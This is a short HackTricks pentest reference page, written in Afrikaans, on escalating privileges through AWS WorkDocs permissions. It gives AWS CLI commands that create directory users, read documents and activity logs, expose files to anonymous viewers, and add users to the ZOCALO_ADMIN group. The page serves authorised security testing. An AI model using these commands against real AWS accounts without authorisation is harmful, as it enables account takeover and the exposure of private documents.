# AWS - WorkDocs Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## WorkDocs

Vir meer inligting oor WorkDocs sien:

{{#ref}}
../../aws-services/aws-directory-services-workdocs-enum.md
{{#endref}}

### `workdocs:CreateUser`

Skep 'n gebruiker binne die aangeduide Directory; dan sal jy toegang hê tot beide WorkDocs en AD:
```bash
# Create user (created inside the AD)
aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password <password> --email-address name@directory.domain --organization-id <directory-id>
```
### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)`

Die lêers mag sensitiewe inligting bevat; lees hulle:
```bash
# Get what was created in the directory
aws workdocs describe-activities --organization-id <directory-id>

# Get what each user has created
aws workdocs describe-activities --user-id "S-1-5-21-377..."

# Get file (a url to access with the content will be retreived)
aws workdocs get-document --document-id <doc-id>
```
### `workdocs:AddResourcePermissions`

As jy nie toegang het om iets te lees nie, kan jy dit net toeken
```bash
# Add permission so anyway can see the file
aws workdocs add-resource-permissions --resource-id <id> --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER
## This will give an id, the file will be acesible in: https://<name>.awsapps.com/workdocs/index.html#/share/document/<id>
```
### `workdocs:AddUserToGroup`

Jy kan 'n gebruiker admin maak deur dit in die groep ZOCALO_ADMIN te plaas.\
Volg daarvoor die instruksies van [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html)

Meld aan met daardie gebruiker in workdoc en gaan na die adminpaneel by `/workdocs/index.html#/admin`

Ek het geen manier gevind om dit vanaf die cli te doen nie.




{{#include ../../../../banners/hacktricks-training.md}}
